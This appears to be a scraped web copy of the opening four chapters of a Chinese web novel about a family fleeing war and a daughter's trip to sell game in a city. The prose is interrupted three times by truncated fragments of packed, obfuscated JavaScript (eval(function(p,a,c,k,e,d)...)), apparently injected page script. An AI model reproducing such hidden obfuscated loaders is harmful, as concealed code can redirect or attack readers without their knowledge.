《乱世发家日常》 1. 第 1 章 晋朝高祖善兵,盛极之时,东夷、南蛮、西戎、北狄各部轻易不敢犯,常有朝贡。 然由盛而衰,不过百年。 当今陛下刚愎无道,即位后便大兴土木,南北征战,杀伐不断,劳民伤财,以致中原动荡,盗贼蜂起,民不聊生,各地接连爆发起义,群雄虎视眈眈,外族亦是异动频频。 天下崩颓,顷刻之间。 贫苦百姓只求片瓦遮身,衣食无忧。 大兴十二年,朝廷横征暴敛更甚,许多百姓为躲避祸乱,逃往北地,屯据山险而自保。 · 月黑风高,山路上人烟皆无,万籁俱寂,唯有难听的驴叫,“啊啊--哦,啊--哦,啊--” 一只驴子拖着个木板车前行,木板车两侧堆满了东西,中间却留了宽裕的位置,半靠着一个女子。 驴车左右,两人徒步。 他们便是刚北上逃难两日的厉家三口人——父亲厉蒙,母亲林秀平,独女厉长瑛。 厉长瑛听着驴叫,嘴角抽搐,额头神经一跳一跳,“咱们夜里赶路,是为了避人,免得遭横祸,它叫这么响亮,不是明摆着告诉山匪,有驴,快来抢吗?” 厉蒙性子和猿臂狼腰的身形一样粗犷豪放,“夜里都睡着呢,听见也不敢随便冒头,有三两只小蚂蚱,也用不着担心。” 他是北狄胡人和汉人混血,血脉里就带着强悍基因,多年猎户生涯,更是骁勇,自然自信。 况且,虎父无犬女,厉长瑛也继承了父亲的体质,身材高挑,腰身劲瘦,紧实的肌肉裹着骨骼,手臂和双腿摆动时,一弯一折间皆是力量感。 而林秀平是童生女儿,柔顺温柔,女红、厨艺极佳,还识得些字,会算账……厉蒙虽是个大老粗,但稍有家底,夫妻俩成婚以来,他没教林秀平吃一丝一毫的劳苦,哪怕现在长途跋涉地逃难,也尽可能地让她舒适。 父女俩都是粗人,便可劲儿造了。 驴车上,林秀平嗓音轻柔,担忧道:“夫君,还是要小心为上。” 厉蒙怕吓到她似的,粗嘎的嗓子夹起来,轻声安抚:“娘子,你放心,我跟咱爹逃荒过来,有经验,这段儿路劫道的山匪多,夜里抓紧赶路,也省的碰到起义军,等过了这几个郡,越往北越地广人稀,就不用这样提心吊胆了。” 林秀平完全信赖,“我相信夫君。” 厉蒙越发膨胀,展示他的深谋远虑,“这时候走,到关外正好夏末,来得及建房过冬,有我和阿瑛,不会让你吃苦。” 林秀平满目柔情似水。 厉蒙与妻子对视,虎变猫,悍变憨,百炼钢化成了绕指柔。 老夫老妻,周身都散发着爱意浓稠的酸臭味儿。 “……” 肉麻! 厉长瑛面无表情,熟练地当自个儿不存在。 一板车之隔,厉蒙温柔地叮嘱妻子:“安心闭目养神……” 厉长瑛顺手甩了驴脑袋一巴掌。 “啊啊啊————哦。”驴叫更嚣张。 厉长瑛又给了它一记重掌。 驴叫卡壳,圆溜溜的眼睛上睫毛翻飞,屈服于淫威,这下子老实了。 夜色里,只剩下厉蒙嘘寒问暖的声音和林秀平句句回应。 厉长瑛本来没这么有眼色,但没办法,她有一个成年人的芯子,小时候在夫妻俩身边儿痛苦装睡,稍长大点儿就赶紧要求搬到小屋去,依旧没少听见隔壁屋的响动。 厉蒙还当她是真小孩儿骗,说什么“闹耗子”,闹什么耗子是那动静儿。 他不要脸,厉长瑛还得顾及柔弱母亲的脸面,假装被骗了过去。 如今她都是一个个头比演技高的十七岁大姑娘了,多年养成的眼力见儿,在这个夜晚强制传给了家里的重要财产,唯一的驴。 厉长瑛并不是土生土长的晋朝人,她前世就是个普通人,靠着毅力拼了个长跑二级运动员,上了个不错的综合大学,成绩平平地毕业,头脑一般,天赋一般,就是心脏强劲,四肢发达。 前世为了早日退休,厉长瑛正职兼职轮番干,好不容易要见着曙光了,突发意外,成了厉家女儿。 属于是绩效归零,一世白干,又来一世困难模式。 世道艰难,贫民百姓举步维艰,厉长瑛没有什么发家致富的本事,不过厉蒙打猎的本事厉害,她便从小跟父亲学打猎。 脑子没变,四肢更发达了。 厉家有两个猎户,还算衣食无忧,但他们所在的东郡被一支起义军占领,在各县□□烧,还征召男丁入伍。 乱世将至,鹿死谁手不一定,厉蒙一个小小猎户根本没有建功立业的雄心壮志,厉长瑛也没有,她的志向跨越两世,仍旧是攒钱、早早退休。 于是一家人一商量,当即收拾家当,跑了。 他们有驴,有家当,有吃食,有温柔的娘……混进难民中就是一块儿肥美的肉落入饿得前胸贴后背的狼群里,纵是有父女二人震慑,也绝对挡不住饥饿的难民们铤而走险。 不能冒险,便尽挑着偏僻小路走,晚上才敢走大路。 如此日夜兼程又行了两日,厉家三口人进入到魏郡境内,再三避人走,还是碰到了一小股难民。 绕路要回转十几里路,厉家人只能继续前行。 白天,林秀平遮了面巾,头上戴着披风连帽,除了一双眼睛,一点皮肉都没露出来,看不出什么。 但厉蒙和厉长瑛父女俩虽然肤色略黑,面上也有疲色,却是一副气血充足、不缺吃的模样。 老老少少二十多难民,个个衣衫褴褛,瘦骨嶙峋,眼窝凹陷,贪婪觊觎的目光如同蚂蟥吸附在皮肉上,全都黏着在他们身上。 有些目光,甚至带着令人作呕的恶念。 林秀平直面这种恶意,一瞬间头皮发麻,蜷缩起来避开视线,担忧地望向父女俩。 厉蒙撸起袖子,攥起拳头,露出了肌肉鼓胀、青筋暴起的小臂。 厉长瑛手伸进行李下,握住一根打磨光滑的木柄,没有多余动作,目光如隼,防备地扫着那些难民。 这年头,敢这样在路上行走的人,必然有所倚仗。 瘦骨嶙峋的难民们有一瞬的忌惮畏惧,但很快又直勾勾地盯着他们板车上。 驴车与难民越来越近,气氛紧绷。 厉蒙和厉长瑛警惕更甚。 林秀平手指不由地攥紧捆绑的麻绳,屏住呼吸。 驴车和难民渐渐持平。 风来。 树枝摇摆,嘎吱嘎吱…… 草丛窸窣,枯黄的落叶打着旋儿,转啊转。 风止,叶落。 静。 “跑!” 厉蒙大喝一声大掌,猛地拍在驴屁股上。 “啊——” 驴一疼,撒开蹄子哒哒地狂奔。 林秀平紧紧拽着麻绳,放低身体,扒住板车。 方才还步履蹒跚的难民们忽然暴起,各个满眼猩红,发狂似的扑向驴车,一副要啃食殆尽的疯魔样子。 “吃的!我要吃的!给我吃的!” 声音粗嘎,嘶厉可怖。 厉长瑛下意识跟着父亲的指令跑了两步,刷地抽出行李下藏的武器--一根打磨光滑、乌漆嘛黑的烧火棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你别以为你力气大,会点儿三脚猫的功夫,就了不起了。” 厉长瑛理亏,丢脸,一声不吭地听训,也不去辩解她是想要拖一拖时间,好让驴车跑远一些再脱身,只是没想到那些难民为了抢吃的这么不要命。 原来世道乱了,人会变成这样,没真正走出来之前,始终是体会不深…… 厉长瑛神情郁郁。 厉蒙厉声道:“咱们的粮食本来就不够吃,现在又损失了一袋粟米,你好好反省!” 厉长瑛恹恹地抬眼,一副别以为我不知道的神情,“你明明是怕板车太重,跑不快,被那些难民追上,再害我娘受伤,才扔的。” 她跑得快,哪里需要扔东西来绊难民的脚。 厉蒙厚颜,不以为耻。 林秀平嗔怪地睨了他一眼,方才忧道:“只剩下一袋半粟米,怕是坚持不了多久,日后怎么办?若是又遇见人来抢,万不能再这般不要性命地与人撕扯。” 他们不是那等已走到绝处的难民,还有牵挂,自然要以性命为先。 父女俩则不约而同地望向了重要财产。 或许,他们还有储备粮? 林秀平轻轻瞪了两人一眼,药膏扔向女儿,不轻不重地表示不满,“自个儿擦。” “……” 厉长瑛控诉:“不是,娘,我跟驴擦一个啊?” 无人理会。 2. 第 2 章 新手上路,出师未捷。 同样受了皮肉伤,厉长瑛不需要休息,驴却得停下休养,以防沉重的板车加重它的伤情,无法顺利走完后面漫长的路途。 那就真成储备粮了。 他们得寻个暂时落脚的地方。 厉蒙经验丰富,瞅了眼天色,“明日应该没雨,沿着这条山路往前,看看能不能找到山神庙,找不到,就临时搭一个棚屋……” 厉长瑛二话不说,起身,“那走吧。” 厉蒙还没说完,她已经扛起一袋粟米,迈出去几步远了,再多废话几句,她能干出去二里地。 “你看看她这火燎腚的性子。” 林秀平抿嘴笑,手轻轻抚了抚丈夫的手臂。 厉蒙瞬间被她捋顺了脾气,双手抓着箩筐,双臂鼓胀,举起装杂物的箩筐抗在身上。 父女俩力气都大,很能给人安全感。 做得好便需要鼓励。 林秀平眼里盛满崇拜之色。 厉蒙霎时浑身充满力气,又单手提起铁锅。 厉长瑛一回头,便见五大三粗的爹在那儿孔雀开屏,实在看不下去,头飞快地回转正,走得更快。 林秀平也下来步行,减轻驴子的负担。 她力气小,没额外背什么,只牵着驴,随时安抚它因为麻绳勒磨而生出的脾气。 这头驴家里养了四年,主要是她在照顾,颇有感情。 三人一驴车循着干草几乎铺满的山路向上。 最前面,厉长瑛开路,拿着镰刀刷刷扫。 中间,林秀平拽着驴。 先前他们逃跑时,出了难民的视线,怕又被找到,便砍了些树枝,拖在板车后面,扫净痕迹,此时仍拖着,随着行进哗哗作响。 厉蒙则殿后。 日头西斜,三人终于找到了一座山神庙。 庙高约四尺,差不多与厉长瑛腰线齐平,三面墙一个顶全是石头垒的,荒废许久,破败不堪,周围长满了杂草,里头的山神像根本看不出原样儿。 一家三口并排站在前面,默然。 良久,厉长瑛吐出一句:“荒山野神,香火是差了些哈……” 何止是差,这情况,真要靠香火,得饿死。 厉蒙环视一圈儿,“就在这儿驻扎吧。” 此处背风,地面平整宽阔,方才还经过了一处小溪,有水源,正适合暂时修整。 厉长瑛立马挥舞镰刀,以山神庙为中心开始割荒草。 厉蒙解了驴车,从板车上翻出一盒香,接过林秀平递过来的风干肉,摆放在山神庙前。 猎户,以狩猎为生,尤其厉蒙祖上信奉万物皆有灵,得了馈赠,自然要敬山神。 一家三口虔诚地拜过山神后,四周都仔细撒了防虫蛇的药粉,才各自忙碌起来。 厉蒙拿着砍柴刀钻进林中砍树枝。 林秀平收拢干草到一处。 她双手灵巧,如今逃难在外,也不讲究保护绣花的手了,直接抓取干草编起来,没多久便有了席子的雏形。 厉长瑛动作麻利地割完附近这一片儿的草,选好木棚的位置,又拿锹在安全距离挖了个烧火坑。 没多久,厉蒙抱着一捆树枝回来,扔在地上,好不停歇地转身再次回了林中。 厉长瑛找了工具和麻绳,先用几根树枝在烧火坑上支了个可以吊锅的木架,又折好细枝整齐地堆放在旁边,方才去搭木棚。 厉蒙第二次抱着树枝回来,驴在吃草,厉长瑛在盯驴。 确切地说,是盯驴屁股。 厉蒙表情一言难尽,“你这是什么癖好,老盯着驴腚瞅什么。” 厉长瑛招呼:“爹你来看,不对劲儿。” “有啥不对劲儿……”厉蒙走到她身边儿,也盯着驴腚,盯着盯着“嘶--”了一声。 驴屁股明显的一边儿高一边儿低。 是厉蒙干得。 厉长瑛眉头一挑,兴冲冲地告状,挑拨夫妻感情:“娘!我爹没轻没重的,把驴屁股打肿了!” 厉蒙:“……” 生孩子真烦。 林秀平走过来,瞧了一眼驴,柔声道:“先前急于脱身,你爹是无心之失。” 厉蒙表情瞬间展开,乐呵呵地盯着妻子。 林秀平浅浅一笑。 厉蒙的表情更傻。 这下子轮到厉长瑛无语了,识相地撤出夫妻二人的世界,安分做她的小工。 天彻底黑下来,木棚的骨架搭好,火堆燃起,照亮野外这一方小天地。 光亮之外的山林中,黑压压的,诡谲而幽深,但他们头顶上的一片星空,澄净灿烂,一如家中仰头便可望见的那片星空。 厉蒙砍完足够的树枝,将细的干树枝围绕四周密密麻麻地摆了一大圈儿,轻踩上去咔嚓咔嚓响,可作警示之用。 随后,父女俩一起在火光的照应下进行后续搭建。 锅里,熬了许久的粟米粥咕嘟咕嘟地冒着香气,可供三人平躺的简易木棚终于搭好。 长短不一的粗壮树枝做梁柱,两根横梁全支棱出来,一根柱子特立独行地高出一大截,直插天际;细枝用麻绳粗略地绑成墙,又用干草细密地塞满;顶上也铺了草,用两根树枝横压住。 林秀平编的两张草席,小的挂在门上做门帘,大的铺在木棚中。 厉长瑛叉腰欣赏。 这算是她第一次作为主力搭木棚,糙是糙了点儿,实用性还是可以的。 林秀平招呼父女二人,“快来吃饭。” 厉长瑛扬声应:“来啦!” “我四下瞧了一眼,干草下才刚泛绿,没有能挖的野菜,不然便挖一些鲜野菜煮粥了。” 林秀平盛了两碗一一递给父女二人。 她切了点干肉丁干野菜在粟米粥里,只放了一点点盐,一锅粥虽然米不算多却熬得粘稠软烂。 父女俩丝毫不挑剔,如出一辙的吃相,端着碗几乎是扣在脸上,呼噜呼噜地喝,一碗完事儿又去盛下一碗。 那架势,猪食都能吃得香,好养活的很。 二人一整日消耗极大,头两碗吃得快,空了一整天的肚子垫了底,便慢下来,等林秀平吃饱再包锅底。 他们家一直都是这样,一开始是厉蒙等母女俩吃完再划拉剩的,后来厉长瑛长大,就变成父女俩等林秀平吃完再收尾。 也算是粗人疼人的一种方式。 等一锅粥全都喝完,只剩下一道一道的黏糊糊贴在锅壁上刮不干净,林秀平倒了点儿水架在火上烧,一点儿不浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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厉蒙不免低落,将她整个圈在怀里,歉疚道:“总归是我这个男人没本事,不能让你们母女过安稳的好日子。” 这又不是他的错,只是他们没生在好世道罢了。 林秀平不是埋怨,含混过去,不再多言。 半夜,父女俩交换守夜,木棚里变成厉长瑛跟林秀平裹一床被子,抱着取暖。 之后,一连几日,厉长瑛都是上半夜守夜,隔天天蒙蒙亮,便钻出木棚,背着弓箭,拿着砍柴刀或者短矛、铁锹,精神抖擞地进山。 她空手而归也不见气馁,若是打到猎物,整个人便精神百倍。 偶尔,父女俩也换着进山,但劲头完全不一样。 更不要说林秀平这个常在家中做事的人,与她比体力天差地别。 夫妻俩看着她活力十足的雀跃身影,每每无言。 旁人逃难,形容狼狈,灰心丧气。 她精力是真旺盛啊。 厉蒙现在身上有不少陈年旧伤,可就算是他年轻的时候,也没像她似的,不管何时何地都浑身使不完的牛劲儿。 又一回,林秀平忍不住对丈夫神色复杂道:“其实,等咱们安稳下来,招赘也不是不成……” 3. 第 3 章 休养生息的几日,厉长瑛猎到了两只野鸡,一只兔子,便暂时离开父母,一路翻山越岭,从晨光熹微走到日跌,方才寻到官路。 她在出山口寻了一棵形状奇特的树,划了个特殊的记号,继续沿着官路前进。 她脚程快,大概走了一个时辰,前方出现了几个难民,形状与先前遇到的那一大波难民外观上完全没有两样,衣衫褴褛,步履艰难。 厉长瑛先发现了他们。 她挨过揍,长了教训没长心理阴影,脚步丝毫没有停顿,大步流星地往前。 倒是那几个难民,听到有力的脚步声便慌作一团,避到路边儿,小心翼翼地观察来人。 厉长瑛一身破旧的粗布短衫,头发束成一个单髻,随便用布条缠着,没有刻意遮掩女性特征。 可她身材比一般女子高挑,身上背着一只半身高的箩筐,脊背一丝不弯,行走间毫不费力,手里还握着一把锋利的砍柴刀。 哪怕厉长瑛是个女子,难民们也没有胆子觊觎,视线一触即离,生怕惹麻烦。 厉长瑛直接越过他们,又走了许久,绕过一座小山,终于远远瞧见了县城的轮廓,规模比他们原来县城大上一倍不止。 她加快步伐,赶在日落之前,风尘仆仆地到达城外,箩筐上头还多了一捆柴。 城门上方写着县名,此地名为邺县。 难民不能入城,全都挤在离城门处有些距离的空地上,有的两三人相互倚靠在一起,有的一群人聚在一处,形如枯槁,寂若死灰。 厉长瑛穿得破旧,难民们麻木的视线在她背得箩筐上扫过。 这时,一辆马车并一队随从从远处驶过来。 许多难民从活死人醒过来一般,全不怕马车冲撞到他们,直接围了上去,挡住了马车的前路。 “求求了,给点儿吃的吧~” “快饿死了……” “求求大善人……” 其他难民也都在观望。 随从们推搡叱骂他们“滚开”,甚至还动了手,难民们依旧不离。 场面有些混乱。 厉长瑛谨慎地绕开,径直往城门口去。 城门口排着一条长队伍,门口的守兵呼来喝去,盘查严苛。 有人没有通过盘查,苦苦哀求,守兵不留情地厉声喝骂,驱赶其离开。 那人如丧家之犬,摇摇晃晃地从厉长瑛身边经过。 厉长瑛不知前方情形,喊住他询问为何没通过。 那人惨然一笑,缓缓抬起手,伸出一巴掌,虚握着,“一升米,因为没有一升米,呵、呵哈哈哈……” 他不敢说出来,可笑声里是无尽的讽刺。 长队中几个人听见那人的话语,颓丧地退了出来。 从未听过进城还要交粮。 但厉长瑛箩筐里还真有一小布袋粟米,约莫两升,是临行前林秀平给她装得。 粮食和布匹是硬通货,这是为了以防万一。 常言道穷家富路,一家人背井离乡自然不是全无准备。 他们一家三口都很能干,林秀平可以接绣活赚钱,父女俩轮着上山打猎,收获也不算少,太平世道,日子必然会越来越好。 可惜,不太平。 田地荒废,粮食价高,打猎所得能换到的粮食越来越少,且吃食以外的其他日常花销也不能免除。 除此之外,他们家每年还要拿出一部分收入为厉蒙免除徭役,从前能够支撑,这几年徭役越来越重,便越来越吃力。 起义军打进来,算是压死骆驼的最后一根稻草,促使他们下定决心离开。 他们吃食上并不紧缺,因为板车空间有限,天暖之后他们可以就地打猎果腹,逃难之前便将去年囤的山货和一些值钱的东西都换成了粟米和绢布。 至于曾经为小家置办的家当,如今早就卖不上价了。 另外,还有一张收藏好几年的皮子也没舍得卖,加上各种工具和驴,这就是厉家全部的家当了。 一升米看起来不多,可厉家的家底经不起造啊。 实在是肉疼。 厉长瑛这样不纠结的人,也难免犹豫。 下一个城或许不需要交,也或许会出现别的问题…… 总不能空手而归,继续无头苍蝇似的乱撞…… 如此想着,厉长瑛依旧排在队中没动。 同一时间,马车摆脱了难民,直接越过排队的人,行到城门前,稍作沟通便进了城。 没有人敢有怨言。 天色渐晚,盘查更快,厉长瑛来到守兵面前。 平民不能随便游荡,得有充分的理由,否则会被抓起来服劳役。 厉长瑛随口找了个寻未婚夫成亲的借口,将提前分出来的一小包粟米悄悄塞给了那名守兵。 守兵手腕一翻,那一小包粟米便消失在他的衣服里,随后意思意思地检查了一下她的箩筐,便放行。 “行了,进去吧。” 城门内,蹲守着不少的乞丐,看见衣着稍整齐些的,便冲上来乞讨。 厉长瑛穿得再不好,也是有粟米进城,且她一走近,许多乞丐的鼻子便动了动。 饥饿的人嗅觉格外敏锐。 箩筐里有腥味儿。 乞丐们蠢蠢欲动,两个小乞儿抢先跑到厉长瑛面前。 其他乞丐没有再凑近。 两个小乞儿,大的到厉长瑛胯骨,小的才到她大腿高,全都头大身子小,眼睛也大的惊人。 周围无数双贪婪的眼睛,厉长瑛纵是不忍心,也不可能开这个头去施舍他们,打算直接甩开他们走人。 却不想,大些的小乞儿并未开口乞讨,而是热情道:“你不是本地人吧,你想去哪儿我都可以给你带路,不用绕弯儿,不用耽误事儿,只要给我妹妹口吃的就行。” 妹妹? 厉长瑛多瞧了另一个小孩儿一眼。 女孩儿可不容易活。 而且,有骨气地付出些什么来获取报酬,比起手脚健全却乞讨,肯定是要更值得尊重一些。 尤其这样艰难,两个人还这么小。 人生地不熟,总要找人打听,或许他们也能给她有用的信息,找谁不是找。 厉长瑛便同意了男孩儿的带路。 男孩儿表情霎时欢喜,牵着女孩儿的手,走在厉长瑛身旁,边指路边介绍了他和妹妹的名字,他叫小山,妹妹叫小月。 厉长瑛她要去卖猎物,让小山带她去。 小山拍胸脯:“包我身上。” 直接引着厉长瑛往城西北走。 小女孩儿一句话没说,乖乖地跟着哥哥。 三人走到一条有些萧条的街上。 小山指着前方道:“这几家铺子,都收猎物。” 厉长瑛问他价值几何。 小山为难道:“具体的,不太清楚,但是,生意难做……” 他的意思,是卖不上价。 厉长瑛猜到了,也没再多问,上前去询问。 商户没生意,厉长瑛也不是什么人物,态度皆不算好。 第一个铺子,不分是什么猎物,只愿意给四十钱一只。 第二个铺子,野鸡三十五文钱,兔子稍贵些,五十文钱。 之后两个铺子,价钱稍有起伏,却也都不高。 他们在故意压她的价。 厉长瑛面无表情。 小山怕她不满意似的,小心翼翼道:“还有两个酒楼……” 厉长瑛点点头,随他去了酒楼。 酒楼给出的价格同样不高。 他们这是欺生。 厉长瑛也不是非卖不可,转身便走。 小山扯着妹妹追上,紧张道:“要不,我再带你去城里的大户人家问问?” 两双大眼睛一眨不眨地盯着她,生怕她不愿意给口吃的了。 厉长瑛问:“就没有别的办法,卖得高些?” 小山抿抿嘴唇,试探地问:“我知道一个人,很有本事,但找他帮忙,要抽几个钱的。” 卖几只山货,抽完钱能剩什么,不过真有本事,出些钱,问清楚前路也好。 “那就带我去吧。” …… 那是个泼皮一样的男人,蹲在巷子口,抖着腿,嚣张地告诉厉长瑛:“你一个外来的,不管怎么讲,要是能卖出满意的价来,老子都跟你姓。” “我也不怕你知道,我能卖到一只七十文以上,看在你是这小子带过来的,你拿走五十五文。” 他说着,朝小山扬了扬下巴。 厉长瑛问:“可否问个路?” 泼皮男人吊儿郎当地点头,示意她问。 “我要出关,从哪里走更安全更顺?” 泼皮表情滞住,呆愣中有些许傻气,“……” 这问的,超出他的认知了。 还以为是问邺县东西南北通往哪儿这种路。 而厉长瑛看着他的神色,意识到问错人了。 两人四目相对,彼此都察觉到了对方的某种浅薄。 小山转了转眼睛,开口提醒:“肉……还卖吗?” 泼皮回神,趾高气扬地问她:“卖不卖?老子忙得很!少耽误老子时间!” 他都蹲巷子口了,还忙? 厉长瑛腹诽,又问:“能换等价的粮吗?” 来都来了,进城还不是免费的,总不能亏一笔再把猎物原样儿带回去。 泼皮答:“能。” 不远处,一个着陈旧儒衫、瘦削模样的中年读书人路过,听到两人的对话,摸了摸腰侧的瘪钱袋,瞅着厉长瑛,欲言又止,一声长叹。 浑身的囊中羞涩之气。 泼皮瞧见他,忽然伸手指道:“你要问路,可以找他,他进京赶考过。” 厉长瑛顺着视线瞧过去。 中年男人冲着厉长瑛文质彬彬地拱手,“在下翁植,只是虚读了几本书,不足为外人道也。” “你是举人老爷?” 中年男人落寞苦笑。 泼皮嘴里叼起一根干草,讥笑,“他还是进士老爷呢,嘿,被剥夺了官身和功名~” 厉长瑛意外。 中年男人不愿再提旧事,对厉长瑛道:“翁某愿意帮姑娘指路,只是可否请姑娘便宜卖我一只野鸡?” 他说到“便宜”,满脸的惭愧之色。 厉长瑛还未说话,泼皮先不高兴了,“嘿,你这酸腐,抢老子的生意呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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翁植通情达理地不再多问,认真答道:“如今河北诸郡已被河间王符兆掌控,当今陛下已下军令,要讨伐谋逆之人,战火将起。河东诸郡尚在朝廷治下,姑娘或可经上党郡、太原郡至雁门郡,进而出关。” 厉长瑛详细问了问,脑中霎时便有了个大概的行进路线。 厉蒙乃至于大多数人,对除出生以外的地域都几乎没有概念,她不一样,她脑子里有一个完全忘不掉的地图可以稍作对比。 问清楚了关外的位置和环境,她心下也稍有数了。 开荒是难,可怎么不算有金手指呢? 意识到这一点,厉长瑛本就昂扬的精神状态还增添了神清气爽。 翁植发现后,眼神有些诡异。 从没见过要跑去苦寒之地还兴致高昂的。 “谢过翁先生。” 厉长瑛抱拳,随即便拿出野鸡,递向他,打算随他给多少钱皆可。 歪脖子的死野鸡出现在眼前,翁植吓得退后,双手抬至胸前,十分抗拒地摆动。 厉长瑛稍收回手,“先生怕?家中可还有旁人能来取?” 翁植稍放松,摇头,“并无,家中只我一人。” 厉长瑛不解:“先生一人,又怕,那这鸡……”还能自己跳锅里炖自己吗? 翁植长叹一声,“我买它并非要自用,乃是得知尚书令魏老大人途经此地,便想送去为老大人补身,聊表心意。” “尚书令,送鸡?” 厉长瑛一副“我年轻,你不要骗我”的神色。 她再孤陋寡闻,也知道尚书令是个大官,送鸡表心意?尚书令不在东都,在这儿?还缺他一只鸡? 而且,厉长瑛打量了一眼翁植的衣衫,绝不是她刻薄,属实不像是能和大官有牵连的样子。 翁植面露苦涩,幽幽道:“姑娘有所不知,魏公高洁,上忠于陛下,□□恤百姓,对我等寒门子弟更是不吝照拂,可惜其次子魏振恶俗鄙陋,胡作非为,致使济阴郡百姓揭竿而起,朝中损失惨重,百姓流离失所,罪大恶极,陛下判其死刑,其余魏氏族人则念在魏公劳苦功高的份上,流放涿郡。” 厉长瑛听着听着,忽然恍然,“攻占东郡的起义军不就是……” 翁植颔首,“济阴军首领邓常已占领河南数郡。” 他似是起了谈兴,对天下大势侃侃而谈起来。 河间王智谋如何,朝廷若讨伐,胜算分别几何; 济阴军邓常虽勇却冒进自负; 河东诸郡太守何等性情; 淮南江表一代又有几支势力蠢蠢欲动…… 厉长瑛很想认真听,但她没忍住,打了个哈欠。 让她干活肯定猛猛干,让她听课,难为她了。 翁植猛然止住,歉道:“翁某失言了,姑娘见谅。” 厉长瑛爽利道:“先生所言极有用,是我粗人一个,牛嚼牡丹。” 她谈吐分明不像是只会犁地的牛。 翁植掩住眼神,“姑娘谦虚。” 厉长瑛从箩筐里掏出一根麻绳,困住野鸡脚,再次递给他,“今日先生为我解许多惑,这野鸡便赠予先生,也聊表我对先生和魏公的敬重。” 翁植闻言,大喜,“姑娘大义。” 厉长瑛摆摆手,提着箩筐便告辞离开。 翁植目送她身影消失,转瞬就变了个脸色,气质也从文质彬彬变成了轻浮滑头,“今日白赚了一只鸡,幸哉!” 另一头,厉长瑛刚走出巷子,想起城门落锁,明早才能再出去,白给一只鸡,寄宿一晚应该无妨,便又回转。 4.第 4 章 巷尾,逼仄的小院,木门紧闭。 翁植用绳子缠起宽大的袖子,口中哼着他给妓馆作得淫曲儿,往灶里添柴烧水。 厉长瑛顺手把柴也给他了,他炖鸡,连柴都不用弄。 翁植唱曲儿稍停,啧啧道了一句“真是古道热肠”,又毫无负罪感地继续哼了起来。 “咚、咚、咚。” “怎么这么快……” 翁植笑容满面地打开门,话没说完,表情僵住,“姑、姑娘?” 正是厉长瑛。 厉长瑛没察觉什么,笑道:“先生还有客人?我贸然过来,是不是打扰了?” 翁植反应过来,霎时恢复成儒雅读书人的神态,拱手时发现袖子和露出一截的手腕不甚符合读书人的形象,怕厉长瑛怀疑,忙解释:“并非客人,是……是邻居!翁某不通针线,邻居热心,说要帮我缝补,我以为是邻居……” 他顺便还解释了下为何没换衣服,为何袖子是绑起的。 “邻里是很热心,我方才就是问了一户人家,才知道先生的住处。” 厉长瑛根本没怀疑,她压根儿不清楚古代读书人真实的样子,见过接触过的寻常百姓没有多余衣服,许多天不换都是正常的,厉家在贫苦百姓里算是条件好的,也不是日日换洗。 翁植稍稍松了一口气,但大部分心还提着,小心地问:“姑娘前来,所为何事?是还要钱吗?翁某这就拿给你。” 他说着,假模假样地伸手去摘腰间的钱袋。 “不是。”厉长瑛制止,“既已给出,我当然不会出尔反尔。” 翁植手顺势停住,不解:“那姑娘是……” 厉长瑛开门见山,“我今日无法出城,暂无去处,可否在先生家中借助一夜?” 借……借住?! 翁植表情抽搐,喉结滚动,好一会儿才干笑道:“并非翁某不愿意留姑娘,只是孤男寡女,在下的名声倒是无碍,不好带累姑娘。” 厉长瑛不在意,“出门在外,不拘小节,况且,我明日一早便离开了。” 翁植为难,“只有一间屋子,总不好教姑娘住在厨房……” 厉长瑛哈哈一笑,“我住在野外也是常事,厨房好歹有墙有瓦,能遮风挡雨。” 她比他一个男人还豁达,翁植垂死挣扎,“姑娘不怕在下起歹心?” 厉长瑛眼神别有深意地看向他瘦杆子一样的身板。 他一个佝偻的中年男人,个头甚至还比厉长瑛稍低那么一点点,手干巴的跟鸡爪子似的,一看就没什么力气,究竟哪来的勇气说这样的话? 翁植也发现了他话语中的不妥,讪笑。 就算不知道厉长瑛到底本事如何,光她这体型和力气拿捏他也是轻而易举。 他此时懊悔不迭,形象塑造太正面,完全没有理由拒绝,否则岂不是明摆着戳穿自己。 翁植只能艰难地挪开脚,“姑娘请进。” 厉长瑛爽利地抱拳,“多谢。” 翁植笑容勉强,“客气了。”他瞅了眼院门,特意没有关上,希望有人机灵点儿。 去到旁人家中不乱打量是礼仪,厉长瑛踏进院子,目不斜视。 而几步见方的院子里,扯着一根长麻绳,绳上挂着洗好的衣裳,其中有两件不应该存在在一个自称“孤身一人”的男人家中。 翁植一惊,大步冲过去,装作是为了不挡她路,飞快地拨开衣服,拢到一侧,然后胡乱一指,“姑娘请坐。” 他手指的前方,一个板凳,一个木盆,野鸡躺在木盆里。 “这是……” 翁植瞥过去,瞳孔张大,大惊失色,急中生智,狡辩:“流放的罪人得不到善待,鸡直接拿过去,怕是魏公吃不到嘴里,我便想做好了送过去!” 厉长瑛注视着他,不言语。 她会相信吗? 翁植紧张地吞咽口水。 厉长瑛……眼神敬佩,满口夸赞:“先生才是真大义!” 一惊一惊又一惊,再次虚惊一场之后,翁植紧绷的神经骤然一松,后背已经湿了,“呵呵,谬赞,谬赞了……” 厉长瑛摇头,诚心诚意道:“先生清贫却还选择温良,怕野鸡却因义而勇,当然不是谬赞。” 翁植异常的沉默,他不敢担这一句话。 厉长瑛瞧见烟囱有烟,跨坐在板凳上,“我做这些习惯了,我来吧,先生看看水烧好了吗?” 翁植低应了一声,进了屋子。 一门连两屋,西间兼柴房、库房、小厨房于一体,里间便是卧室。 只要厉长瑛进来,便会发现碗不是一只,筷子也不是一双,若是再进到屋里,会发现大小不对劲儿的破鞋,还有两张木板床…… 他全都收了起来,木板床不好收,便把中间厚厚的草帘落下。 她应该不会未经同意便进到内室。 而为了不被发现,最好的办法是按照他的谎言继续拖延下去,直到她明日离开。 